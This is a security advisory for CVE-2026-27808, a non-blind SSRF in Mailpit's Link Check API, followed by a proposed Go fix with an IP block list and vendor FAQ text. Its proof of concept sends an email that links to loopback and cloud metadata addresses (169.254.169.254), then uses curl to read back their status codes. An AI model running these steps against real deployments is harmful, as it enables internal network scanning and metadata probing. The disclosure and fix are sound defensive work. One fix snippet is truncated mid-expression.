Summary
Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.
This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the
screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.
Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:
func doHead(link string, followRedirects bool) (int, error) {
timeout := time.Duration(10 * time.Second)
tr := &http.Transport{}
// ...
client := http.Client{
Timeout: timeout,
Transport: tr,
// ...
}
req, err := http.NewRequest("HEAD", link, nil)
// ...
res, err := client.Do(req) // No IP validation, requests any URL
return res.StatusCode, nil
}
The call chain is:
- GET /api/v1/message/{ID}/link-check hits LinkCheck() in
https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84 - Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
- Which extracts all URLs from the email's HTML (, , ) and text body, then passes them to
getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14 - Which spawns goroutines calling doHead() for each URL with no filtering
There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.
Step 1, Start a listener to prove the SSRF:
python3 -m http.server 8081 --bind 127.0.0.1
Step 2, Send a crafted email via SMTP:
swaks --to [email protected] \
--from [email protected] \
--server localhost:1025 \
--header "Content-Type: text/html" \
--body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
Step 3, Get the message ID:
curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
Or use the shorthand ID latest.
Step 4, Trigger the link check:
curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .
Expected result:
- The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
- The API response contains the status code and status text for each internal target:
{
"Errors": 0,
"Links": [
{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
{"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
]
}
-- This behavior can be identified by creating a email txt file as
cat email.txt >
From: [email protected]
To: [email protected]
Subject: Email Subject
This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
Start a Python server on port 8408
execute the command
mailpit sendmail < email.txtObserve a request to your python server and link status on the UI as OK
The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning
Impact
Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.
What an attacker can do:
- Internal network scanning, Enumerate hosts and open ports on the internal network by reading status codes and error messages
(connection refused vs. timeout vs. 200 OK). - Cloud metadata access, Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
- Service fingerprinting, Identify what services run on internal hosts from their HTTP status codes and response behavior.
- Bypass network segmentation, Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.
This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making
exploitation straightforward without any timing or side-channel inference.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-27808 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.29.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Then standard Go library can be used to identify a local address being requested and deny it.
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsUnspecified() ||
ip.IsMulticast()
}
- IsLoopback(), 127.0.0.0/8, ::1
- IsPrivate(), 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
- IsLinkLocalUnicast(), 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
- IsLinkLocalMulticast(), 224.0.0.0/24, ff02::/16
- IsUnspecified(), 0.0.0.0, ::
- IsMulticast(), 224.0.0.0/4, ff00::/8
And the safe dialer that uses it:
func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
return func(ctx context.Context, network, address string) (net.Conn, error) {
host, port, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if isBlockedIP(ip.IP) {
return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
}
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
}
}
Then the doHead() change, replace the bare transport with one that uses the safe dialer, and re-validate URLs on
redirect hops:
func doHead(link string, followRedirects bool) (int, error) {
if !isValidLinkURL(link) {
return 0, fmt.Errorf("invalid URL: %s", link)
}
dialer := &net.Dialer{
Timeout: 5 * time.Second,
KeepAlive: 30 * time.Second,
}
tr := &http.Transport{
DialContext: safeDialContext(dialer),
}
if config.AllowUntrustedTLS {
tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
}
client := http.Client{
Timeout: 10 * time.Second,
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
if !followRedirects {
return http.ErrUseLastResponse
}
if !isValidLinkURL(req.URL.String()) {
return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
}
return nil
},
}
req, err := http.NewRequest("HEAD", link, nil)
if err != nil {
logger.Log().Errorf("[link-check] %s", err.Error())
return 0, err
}
req.Header.Set("User-Agent", "Mailpit/"+config.Version)
res, err := client.Do(req)
if err != nil {
if res != nil {
return res.StatusCode, err
}
return 0, err
}
return res.StatusCode, nil
}
func isValidLinkURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
}
This fix should mitigate the reported SSRF.
Frequently Asked Questions
- What is CVE-2026-27808? CVE-2026-27808 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/axllent/mailpit (go), affecting versions <= 1.29.1. It is fixed in 1.29.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-27808? CVE-2026-27808 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/axllent/mailpit are affected by CVE-2026-27808? github.com/axllent/mailpit (go) versions <= 1.29.1 is affected.
- Is there a fix for CVE-2026-27808? Yes. CVE-2026-27808 is fixed in 1.29.2. Upgrade to this version or later.
- Is CVE-2026-27808 exploitable, and should I be worried? Whether CVE-2026-27808 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27808 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27808? Upgrade
github.com/axllent/mailpitto 1.29.2 or later.